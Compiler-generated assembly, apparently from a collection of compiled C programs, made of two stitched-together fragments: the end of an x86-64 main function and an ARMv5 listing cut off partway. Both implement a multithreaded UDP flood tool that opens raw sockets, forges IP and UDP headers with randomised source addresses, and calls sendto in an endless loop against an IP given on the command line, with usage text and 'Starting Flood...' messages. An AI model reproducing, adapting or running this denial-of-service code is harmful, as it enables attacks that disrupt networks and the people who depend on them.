.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov DWORD PTR -132[rbp], edi
mov QWORD PTR -144[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
cmp DWORD PTR -132[rbp], 3
jg .L33
mov rax, QWORD PTR stderr[rip]
mov rcx, rax
mov edx, 20
mov esi, 1
lea rdi, .LC4[rip]
call fwrite@PLT
mov rax, QWORD PTR -144[rbp]
mov rdx, QWORD PTR [rax]
mov rax, QWORD PTR stdout[rip]
lea rsi, .LC5[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, -1
call exit@PLT
.L33:
mov rax, QWORD PTR stdout[rip]
mov rcx, rax
mov edx, 22
mov esi, 1
lea rdi, .LC6[rip]
call fwrite@PLT
mov rax, QWORD PTR -144[rbp]
add rax, 24
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov DWORD PTR -120[rbp], eax
mov eax, DWORD PTR -120[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -112[rbp], rdx
movsx rdx, eax
mov QWORD PTR -160[rbp], rdx
mov QWORD PTR -152[rbp], 0
movsx rdx, eax
mov QWORD PTR -176[rbp], rdx
mov QWORD PTR -168[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L34:
cmp rsp, rdx
je .L35
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L34
.L35:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L36
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L36:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -104[rbp], rax
mov WORD PTR -80[rbp], 2
call rand@PLT
mov edx, eax
movsx rax, edx
imul rax, rax, 1717986919
shr rax, 32
sar eax, 13
mov esi, edx
sar esi, 31
sub eax, esi
mov ecx, eax
mov eax, ecx
sal eax, 2
add eax, ecx
sal eax, 12
mov ecx, edx
sub ecx, eax
mov eax, ecx
movzx eax, ax
mov edi, eax
call htons@PLT
mov WORD PTR -78[rbp], ax
mov rax, QWORD PTR -144[rbp]
add rax, 8
mov rax, QWORD PTR [rax]
mov rdi, rax
mov eax, 0
call inet_addr@PLT
mov DWORD PTR -76[rbp], eax
mov ecx, DWORD PTR -120[rbp]
movsx rax, ecx
sub rax, 1
mov QWORD PTR -96[rbp], rax
movsx rax, ecx
mov r14, rax
mov r15d, 0
imul rdx, r15, 192
imul rax, r14, 0
lea rsi, [rdx+rax]
mov eax, 192
mul r14
add rsi, rdx
mov rdx, rsi
movsx rdx, ecx
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
movsx rax, ecx
mov r12, rax
mov r13d, 0
imul rdx, r13, 192
imul rax, r12, 0
lea rsi, [rdx+rax]
mov eax, 192
mul r12
add rsi, rdx
mov rdx, rsi
movsx rdx, ecx
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
mov rdx, rax
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L37:
cmp rsp, rdx
je .L38
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L37
.L38:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L39
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L39:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -88[rbp], rax
mov DWORD PTR -116[rbp], 0
jmp .L40
.L41:
mov rcx, QWORD PTR -88[rbp]
mov eax, DWORD PTR -116[rbp]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
add rax, rcx
lea rdx, 4[rax]
mov eax, DWORD PTR -116[rbp]
mov DWORD PTR [rdx], eax
mov rcx, QWORD PTR -88[rbp]
mov eax, DWORD PTR -116[rbp]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
add rcx, rax
mov rax, QWORD PTR -80[rbp]
mov rdx, QWORD PTR -72[rbp]
mov QWORD PTR 8[rcx], rax
mov QWORD PTR 16[rcx], rdx
mov rax, QWORD PTR -144[rbp]
add rax, 16
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov edx, eax
mov rsi, QWORD PTR -88[rbp]
mov eax, DWORD PTR -116[rbp]
movsx rcx, eax
mov rax, rcx
add rax, rax
add rax, rcx
sal rax, 3
add rax, rsi
mov DWORD PTR [rax], edx
mov eax, DWORD PTR -116[rbp]
movsx rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
sal rax, 3
mov rdx, QWORD PTR -88[rbp]
add rdx, rax
mov eax, DWORD PTR -116[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -104[rbp]
add rax, rcx
mov rcx, rdx
lea rdx, flood[rip]
mov esi, 0
mov rdi, rax
call pthread_create@PLT
add DWORD PTR -116[rbp], 1
.L40:
mov eax, DWORD PTR -116[rbp]
cmp eax, DWORD PTR -120[rbp]
jl .L41
mov rax, QWORD PTR stdout[rip]
mov rcx, rax
mov edx, 18
mov esi, 1
lea rdi, .LC7[rip]
call fwrite@PLT
cmp DWORD PTR -132[rbp], 5
jle .L42
mov rax, QWORD PTR -144[rbp]
add rax, 32
mov rax, QWORD PTR [rax]
mov rdi, rax
call atoi@PLT
mov edi, eax
call sleep@PLT
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L45
jmp .L46
.L42:
mov edi, 1
call sleep@PLT
jmp .L42
.L46:
call __stack_chk_fail@PLT
.L45:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size main, .-main
.data
.align 4
.type i.0, @object
.size i.0, 4
i.0:
.long 4095
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "269882.c"
.text
.local Q
.comm Q,16384,4
.data
.align 2
.type c, %object
.size c, 4
c:
.word 362436
.text
.align 2
.global init_rand
.syntax unified
.arm
.fpu softvfp
.type init_rand, %function
init_rand:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r2, .L4
ldr r3, [fp, #-16]
str r3, [r2]
ldr r2, [fp, #-16]
ldr r3, .L4+4
add r3, r2, r3
ldr r2, .L4
str r3, [r2, #4]
ldr r2, [fp, #-16]
ldr r3, .L4+8
add r3, r2, r3
ldr r2, .L4
str r3, [r2, #8]
mov r3, #3
str r3, [fp, #-8]
b .L2
.L3:
ldr r3, [fp, #-8]
sub r3, r3, #3
ldr r2, .L4
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-8]
sub r3, r3, #2
ldr r1, .L4
ldr r3, [r1, r3, lsl #2]
eor r2, r2, r3
ldr r3, [fp, #-8]
eor r2, r2, r3
ldr r3, .L4+4
eor r3, r3, r2
ldr r1, .L4
ldr r2, [fp, #-8]
str r3, [r1, r2, lsl #2]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
cmp r3, #4096
blt .L3
nop
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L5:
.align 2
.L4:
.word Q
.word -1640531527
.word 1013904242
.size init_rand, .-init_rand
.align 2
.global rand_cmwc
.syntax unified
.arm
.fpu softvfp
.type rand_cmwc, %function
rand_cmwc:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #24
ldr r2, .L9
mov r3, #0
str r2, [fp, #-28]
str r3, [fp, #-24]
mvn r3, #1
str r3, [fp, #-32]
ldr r3, .L9+4
ldr r3, [r3]
add r3, r3, #1
lsl r3, r3, #20
lsr r3, r3, #20
ldr r2, .L9+4
str r3, [r2]
ldr r3, .L9+4
ldr r3, [r3]
ldr r2, .L9+8
ldr r3, [r2, r3, lsl #2]
mov r0, r3
mov r1, #0
ldr r3, [fp, #-28]
mul r2, r1, r3
ldr r3, [fp, #-24]
mul r3, r0, r3
add ip, r2, r3
ldr lr, [fp, #-28]
umull r2, r3, lr, r0
add r1, ip, r3
mov r3, r1
ldr r1, .L9+12
ldr r1, [r1]
mov r0, r1
mov r1, #0
adds r4, r2, r0
adc r5, r3, r1
str r4, [fp, #-20]
str r5, [fp, #-16]
sub r1, fp, #20
ldmia r1, {r0-r1}
mov r2, #0
mov r3, #0
mov r2, r1
mov r3, #0
ldr r3, .L9+12
str r2, [r3]
ldr r2, [fp, #-20]
ldr r3, .L9+12
ldr r3, [r3]
add r3, r2, r3
str r3, [fp, #-36]
ldr r3, .L9+12
ldr r3, [r3]
ldr r2, [fp, #-36]
cmp r2, r3
bcs .L7
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, .L9+12
ldr r3, [r3]
add r3, r3, #1
ldr r2, .L9+12
str r3, [r2]
.L7:
ldr r3, .L9+4
ldr r3, [r3]
ldr r1, [fp, #-32]
ldr r2, [fp, #-36]
sub r2, r1, r2
ldr r1, .L9+8
str r2, [r1, r3, lsl #2]
ldr r2, .L9+8
ldr r3, [r2, r3, lsl #2]
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L10:
.align 2
.L9:
.word 18782
.word i.6823
.word Q
.word c
.size rand_cmwc, .-rand_cmwc
.align 2
.global myStrCat
.syntax unified
.arm
.fpu softvfp
.type myStrCat, %function
myStrCat:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
b .L12
.L13:
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L12:
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L13
b .L14
.L15:
ldr r2, [fp, #-12]
add r3, r2, #1
str r3, [fp, #-12]
ldr r3, [fp, #-8]
add r1, r3, #1
str r1, [fp, #-8]
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
.L14:
ldr r3, [fp, #-12]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L15
ldr r3, [fp, #-8]
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size myStrCat, .-myStrCat
.align 2
.global replStr
.syntax unified
.arm
.fpu softvfp
.type replStr, %function
replStr:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bne .L18
mov r3, #0
b .L19
.L18:
ldr r0, [fp, #-16]
bl strlen
mov r3, r0
add r3, r3, #1
ldr r2, [fp, #-20]
mul r3, r2, r3
mov r0, r3
bl malloc
mov r3, r0
str r3, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L20
mov r3, #0
b .L19
.L20:
ldr r3, [fp, #-8]
mov r2, #0
strb r2, [r3]
ldr r1, [fp, #-16]
ldr r0, [fp, #-8]
bl myStrCat
str r0, [fp, #-12]
b .L21
.L22:
ldr r1, [fp, #-16]
ldr r0, [fp, #-12]
bl myStrCat
str r0, [fp, #-12]
.L21:
ldr r3, [fp, #-20]
sub r3, r3, #1
str r3, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
bne .L22
ldr r3, [fp, #-8]
.L19:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size replStr, .-replStr
.align 2
.global csum
.syntax unified
.arm
.fpu softvfp
.type csum, %function
csum:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
b .L24
.L25:
ldr r3, [fp, #-16]
add r2, r3, #2
str r2, [fp, #-16]
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-8]
add r3, r3, r2
str r3, [fp, #-8]
ldr r3, [fp, #-20]
sub r3, r3, #1
str r3, [fp, #-20]
.L24:
ldr r3, [fp, #-20]
cmp r3, #0
bgt .L25
ldr r3, [fp, #-8]
lsr r2, r3, #16
ldr r3, [fp, #-8]
lsl r3, r3, #16
lsr r3, r3, #16
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
lsr r3, r3, #16
ldr r2, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-8]
lsl r3, r3, #16
lsr r3, r3, #16
mvn r3, r3
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size csum, .-csum
.section .rodata
.align 2
.LC0:
.ascii "192.168.3.100\000"
.text
.align 2
.global setup_ip_header
.syntax unified
.arm
.fpu softvfp
.type setup_ip_header, %function
setup_ip_header:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
str r0, [fp, #-8]
ldr r2, [fp, #-8]
ldrb r3, [r2]
bic r3, r3, #10
orr r3, r3, #5
strb r3, [r2]
ldr r2, [fp, #-8]
ldrb r3, [r2]
bic r3, r3, #176
orr r3, r3, #64
strb r3, [r2]
ldr r3, [fp, #-8]
mov r2, #0
strb r2, [r3, #1]
ldr r3, [fp, #-8]
ldr r2, .L28
strh r2, [r3, #2] @ movhi
ldr r0, .L28+4
bl htonl
mov r3, r0
lsl r3, r3, #16
lsr r2, r3, #16
ldr r3, [fp, #-8]
strh r2, [r3, #4] @ movhi
ldr r3, [fp, #-8]
mov r2, #0
strh r2, [r3, #6] @ movhi
ldr r3, [fp, #-8]
mvn r2, #0
strb r2, [r3, #8]
ldr r3, [fp, #-8]
mov r2, #17
strb r2, [r3, #9]
ldr r3, [fp, #-8]
mov r2, #0
strh r2, [r3, #10] @ movhi
ldr r0, .L28+8
bl inet_addr
mov r3, r0
mov r2, r3
ldr r3, [fp, #-8]
str r2, [r3, #12]
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L29:
.align 2
.L28:
.word 1048
.word 54321
.word .LC0
.size setup_ip_header, .-setup_ip_header
.section .rodata
.align 2
.LC1:
.ascii "\377\377\377\377\000"
.text
.align 2
.global setup_udp_header
.syntax unified
.arm
.fpu softvfp
.type setup_udp_header, %function
setup_udp_header:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
ldr r0, .L31
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-16]
strh r2, [r3] @ movhi
ldr r3, [fp, #-16]
mov r2, #0
strh r2, [r3, #6] @ movhi
ldr r3, [fp, #-16]
add r3, r3, #8
str r3, [fp, #-8]
mov r1, #256
ldr r0, .L31+4
bl replStr
str r0, [fp, #-8]
ldr r0, .L31+8
bl htons
mov r3, r0
mov r2, r3
ldr r3, [fp, #-16]
strh r2, [r3, #4] @ movhi
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L32:
.align 2
.L31:
.word 5678
.word .LC1
.word 1028
.size setup_udp_header, .-setup_udp_header
.section .rodata
.align 2
.LC2:
.ascii "Could not open raw socket.\012\000"
.align 2
.LC3:
.ascii "Error: setsockopt() - Cannot set HDRINCL!\012\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global flood
.syntax unified
.arm
.fpu softvfp
.type flood, %function
flood:
@ args = 0, pretend = 0, frame = 4160
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #4160
sub sp, sp, #12
sub r3, fp, #4096
sub r3, r3, #12
str r0, [r3, #-60]
ldr r3, .L40
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-60]
str r3, [r2, #-48]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
str r3, [r2, #-44]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
add r3, r3, #20
str r3, [r2, #-40]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-48]
sub ip, r2, #20
add r3, r3, #8
ldm r3, {r0, r1, r2, r3}
stm ip, {r0, r1, r2, r3}
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
mov r2, #6
mov r1, #3
mov r0, #2
bl socket
str r0, [r4, #-36]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-36]
cmp r3, #0
bge .L34
ldr r3, .L40+4
ldr r3, [r3]
mov r2, #27
mov r1, #1
ldr r0, .L40+8
bl fwrite
mvn r0, #0
bl exit
.L34:
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r2, #4096
mov r1, #0
mov r0, r3
bl memset
sub r3, fp, #4096
sub r3, r3, #12
ldr r0, [r3, #-44]
bl setup_ip_header
sub r3, fp, #4096
sub r3, r3, #12
ldr r0, [r3, #-40]
bl setup_udp_header
bl rand
mov r1, r0
ldr r3, .L40+12
smull r2, r3, r1, r3
asr r2, r3, #13
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #12
sub r2, r1, r3
lsl r3, r2, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-40]
strh r2, [r3, #2] @ movhi
sub r3, fp, #4096
sub r3, r3, #12
ldr r2, [r3, #-16]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
str r2, [r3, #16]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
ldrh r3, [r3, #2]
lsr r3, r3, #1
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r1, r2
mov r0, r3
bl csum
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
strh r2, [r3, #10] @ movhi
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
mov r3, #1
str r3, [r2, #-56]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #56
str r3, [r2, #-32]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
mov r3, #4
str r3, [sp]
ldr r3, [r2, #-32]
mov r2, #3
mov r1, #0
ldr r0, [r0, #-36]
bl setsockopt
mov r3, r0
cmp r3, #0
bge .L35
ldr r3, .L40+4
ldr r3, [r3]
mov r2, #42
mov r1, #1
ldr r0, .L40+16
bl fwrite
mvn r0, #0
bl exit
.L35:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3]
str r3, [r2, #-52]
mov r0, #0
bl time
mov r3, r0
mov r0, r3
bl init_rand
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-52]
cmp r3, #0
bne .L36
.L37:
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
ldrh r3, [r3, #2]
mov r2, r3
sub r1, fp, #4096
sub r1, r1, #12
sub r1, r1, #4
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
mov r3, #16
str r3, [sp, #4]
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #20
str r3, [sp]
mov r3, #0
ldr r0, [r0, #-36]
bl sendto
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
bl rand_cmwc
str r0, [r4, #-28]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
str r3, [r2, #-24]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
sub r2, fp, #4096
sub r2, r2, #12
ldr r2, [r2, #-24]
str r2, [r3, #12]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-40]
strh r2, [r3] @ movhi
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
ldrh r3, [r3, #2]
lsr r3, r3, #1
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r1, r2
mov r0, r3
bl csum
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
strh r2, [r3, #10] @ movhi
b .L37
.L36:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-48]
ldr r3, [r3]
str r3, [r2, #-52]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
ldrh r3, [r3, #2]
mov r2, r3
sub r1, fp, #4096
sub r1, r1, #12
sub r1, r1, #4
sub r3, fp, #4096
sub r3, r3, #12
mov r0, r3
mov r3, #16
str r3, [sp, #4]
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #20
str r3, [sp]
mov r3, #0
ldr r0, [r0, #-36]
bl sendto
sub r3, fp, #4096
sub r3, r3, #12
mov r4, r3
bl rand_cmwc
str r0, [r4, #-28]
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
str r3, [r2, #-24]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
sub r2, fp, #4096
sub r2, r2, #12
ldr r2, [r2, #-24]
str r2, [r3, #12]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-28]
lsl r3, r3, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-40]
strh r2, [r3] @ movhi
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
ldrh r3, [r3, #2]
lsr r3, r3, #1
lsl r3, r3, #16
lsr r3, r3, #16
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
sub r3, r3, #4
mov r1, r2
mov r0, r3
bl csum
mov r3, r0
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-44]
strh r2, [r3, #10] @ movhi
.L38:
sub r3, fp, #4096
sub r3, r3, #12
mov r2, r3
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-52]
sub r3, r3, #1
str r3, [r2, #-52]
sub r3, fp, #4096
sub r3, r3, #12
ldr r3, [r3, #-52]
cmp r3, #0
bne .L38
b .L36
.L41:
.align 2
.L40:
.word .LC4
.word stderr
.word .LC2
.word 1717986919
.word .LC3
.size flood, .-flood
.section .rodata
.align 2
.LC5:
.ascii "Invalid parameters!\012\000"
.align 2
.LC6:
.ascii "Usage: %s <IP> <throttle> <threads> <time>\012\000"
.align 2
.LC7:
.ascii "Setting up Sockets...\012\000"
.align 2
.LC8:
.ascii "Starting Flood...\012\000"
.align 2
.LC9:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 56
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, r6, r7, r8, fp, lr}
add fp, sp, #24
sub sp, sp, #60
str r0, [fp, #-80]
str r1, [fp, #-84]
ldr r3, .L51
ldr r3, [r3]
str r3, [fp, #-32]
mov r3,#0
mov r3, sp
mov r8, r3
ldr r3, [fp, #-80]
cmp r3, #3
bgt .L43
ldr r3, .L51+4
ldr r3, [r3]
mov r2, #20
mov r1, #1
ldr r0, .L51+8
bl fwrite
ldr r3, .L51+12
ldr r0, [r3]
ldr r3, [fp, #-84]
ldr r3, [r3]
mov r2, r3
ldr r1, .L51+16
bl fprintf
mvn r0, #0
bl exit
.L43:
ldr r3, .L51+12
ldr r3, [r3]
mov r2, #22
mov r1, #1
ldr r0, .L51+20
bl fwrite
ldr r3, [fp, #-84]
add r3, r3, #12
ldr r3, [r3]
mov r0, r3
bl atoi
str r0, [fp, #-72]
ldr ip, [fp, #-72]
sub r3, ip, #1
str r3, [fp, #-64]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-60]
mov r3, #2
strh r3, [fp, #-48] @ movhi
bl rand
mov r1, r0
ldr r3, .L51+24
smull r2, r3, r1, r3
asr r2, r3, #13
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #12
sub r2, r1, r3
lsl r3, r2, #16
lsr r3, r3, #16
mov r0, r3
bl htons
mov r3, r0
strh r3, [fp, #-46] @ movhi
ldr r3, [fp, #-84]
add r3, r3, #4
ldr r3, [r3]
mov r0, r3
bl inet_addr
mov r3, r0
str r3, [fp, #-44]
ldr ip, [fp, #-72]
sub r3, ip, #1
str r3, [fp, #-56]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, r0
mov r3, r1
adds r6, r2, r2
adc r7, r3, r3
mov r2, r6
mov r3, r7
adds r2, r2, r0
adc r3, r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r2, r0
mov r3, r1
mov r2, ip
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, r0
mov r3, r1
adds r4, r2, r2
adc r5, r3, r3
mov r2, r4
mov r3, r5
adds r2, r2, r0
adc r3, r3, r1
mov r0, #0
mov r1, #0
lsl r1, r3, #6
orr r1, r1, r2, lsr #26
lsl r0, r2, #6
mov r2, r0
mov r3, r1
mov r2, ip
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-52]
mov r3, #0
str r3, [fp, #-68]
b .L44
.L45:
ldr r1, [fp, #-52]
ldr r2, [fp, #-68]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #4
ldr r2, [fp, #-68]
str r2, [r3]
ldr r1, [fp, #-52]
ldr r2, [fp, #-68]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
add r3, r3, #8
mov ip, r3
sub r3, fp, #48
ldm r3, {r0, r1, r2, r3}
stm ip, {r0, r1, r2, r3}
ldr r3, [fp, #-84]
add r3, r3, #8
ldr r3, [r3]
mov r0, r3
bl atoi
ldr r1, [fp, #-52]
ldr r2, [fp, #-68]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
add r3, r1, r3
str r0, [r3]
ldr r3, [fp, #-68]
lsl r3, r3, #2
ldr r2, [fp, #-60]
add r0, r2, r3
ldr r2, [fp, #-68]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-52]
add r3, r2, r3
